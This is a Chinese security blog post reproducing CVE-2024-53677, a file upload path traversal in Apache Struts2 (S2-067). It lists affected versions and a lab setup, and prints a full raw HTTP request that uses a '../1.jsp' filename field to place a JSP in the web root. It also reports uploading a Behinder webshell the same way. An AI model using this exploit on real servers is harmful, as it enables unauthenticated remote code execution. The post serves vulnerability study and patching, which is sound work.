CVE-2024-53677:Apache Struts2文件上传逻辑漏洞S2-067
CVE-2024-53677:Apache Struts2文件上传逻辑漏洞S2-067
原创 hexixi Timeline Sec 2024-12-20 10:10
关注我们❤️,添加星标🌟,一起学安全!作者:hexixi@Timeline Sec 本文字数:2290阅读时长:3~5mins 声明:仅供学习参考使用,请勿用作违法用途,否则后果自负
0x01 简介
Apache Struts2 是一个流行的 Java Web 应用程序框架,广泛用于开发企业级应用。该漏洞出现在 Struts2 的文件上传功能中,由于缺乏对上传文件类型的严格验证,攻击者可以绕过文件类型过滤规则,上传恶意文件,从而在目标系统上执行任意代码或开展进一步的攻击。
0x02 漏洞概述
漏洞编号:CVE-2024-53677在远程服务器代码中使用了FileUploadInterceptor作为文件上传组件时,Apache Struts在文件上传逻辑上存在漏洞。攻击者可以利用该漏洞进行路径遍历,成功利用该漏洞可以使攻击者能够上传恶意文件,从而导致远程代码执行。
0x03 利用条件
1)影响版本Struts 2.0.0 – Struts 2.3.37(EOL)Struts 2.5.0 – Struts 2.5.33Struts 6.0.0 – Struts 6.3.0.22)所需权限:无权限要求
3)其他条件:存在上传点且使用了FileUploadInterceptor作为文件上传组件
0x04 环境搭建
idea打开源码,选择本地tomcat,在Deployment中如图所示部署(环境源码:后台回复HJ-S2-067)
运行,访问http://localhost:8080/untitled_war
0x05 漏洞复现
利用poc上传一个测试jsp,利用路径穿越到web根目录
POST /untitled_war/uploads.action HTTP/1.1
Host: IP:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://172.16.65.98:8080/untitled_war/
Content-Type: multipart/form-data; boundary=---------------------------376058448320617365003265882680
Content-Length: 529
Origin: http://192.168.0.116:8080
Connection: close
Cookie: JSESSIONID=953590EEDDD585B3CFE1A15E18C518C9
Upgrade-Insecure-Requests: 1
Priority: u=0, i
-----------------------------376058448320617365003265882680
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: application/octet-stream
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<body>
<p>test</p>
</body>
</html>
-----------------------------376058448320617365003265882680
Content-Disposition: form-data; name="uploadFileName[0]";
../1.jsp
-----------------------------376058448320617365003265882680--
可以被解析
同样方式上传冰蝎马到web根目录
成功连接webshell
0x06 修复方式
将框架升级到官方发布的最新版本并且使用ActionFileUploadInterceptor作为文件上传组件。
参考链接
https://y4tacker.github.io/2024/12/16/year/2024/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E9%80%BB%E8%BE%91%E7%BB%95%E8%BF%87-CVE-2024-53677-S2-067/
历史复现
回复
【加群】
进入微信交流群回复
【SRC群】进入SRC-QQ交流群回复
【新人】领取新人学习指南资料回复
【面试】获取渗透测试常见面试题
回复
【手册】
获取原创技术PDF手册
回复
【合作】获取各类安全项目合作方式回复
【帮会】付费加入SRC知识库学习回复
【
培训】
获取TimelineSec创办的实战课程
视频号:搜索
TimelineSec
官方微博:#小程序://微博/tPbUYdN9EucSD4C
哔哩哔哩:
https://space.bilibili.com/52459
1903
❤
觉得有用就点个赞吧!
欢迎评论区留言讨论~